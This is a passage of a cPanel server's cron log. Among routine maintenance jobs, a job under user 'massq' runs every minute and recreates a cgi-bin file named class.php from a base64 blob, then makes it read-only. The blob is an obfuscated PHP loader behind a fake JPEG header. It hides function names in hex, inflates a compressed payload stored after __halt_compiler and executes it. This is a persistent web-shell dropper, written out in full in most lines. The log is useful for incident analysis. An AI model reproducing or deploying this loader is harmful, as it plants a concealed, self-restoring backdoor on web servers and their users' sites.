BKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:07:01 server CROND[23906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:07:01 server CROND[23907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:07:01 server CROND[23908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:08:01 server CROND[24284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:08:01 server CROND[24285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:08:01 server CROND[24286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:09:01 server CROND[24685]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 23:09:01 server CROND[24687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:09:01 server CROND[24686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:09:01 server CROND[24688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:10:01 server CROND[25179]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:10:01 server CROND[25181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:10:01 server CROND[25182]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:10:01 server CROND[25183]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:10:01 server CROND[25186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:10:01 server CROND[25185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:10:01 server CROND[25191]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:10:01 server CROND[25190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:11:01 server CROND[26013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:11:01 server CROND[26014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:11:01 server CROND[26015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:12:01 server CROND[26402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:12:01 server CROND[26404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:12:01 server CROND[26405]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 23:12:01 server CROND[26412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:13:01 server CROND[26776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:13:01 server CROND[26778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:13:01 server CROND[26777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:14:01 server CROND[27154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:14:01 server CROND[27155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:14:01 server CROND[27156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:15:01 server CROND[27551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:15:01 server CROND[27553]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 23:15:01 server CROND[27558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:15:01 server CROND[27559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:15:01 server CROND[27557]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:15:01 server CROND[27554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:15:01 server CROND[27555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:15:01 server CROND[27556]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:16:01 server CROND[28432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:16:01 server CROND[28433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:16:01 server CROND[28434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:17:01 server CROND[28923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:17:01 server CROND[28924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:17:01 server CROND[28925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:18:01 server CROND[29320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:18:01 server CROND[29321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:18:01 server CROND[29322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:19:01 server CROND[29707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:19:01 server CROND[29708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
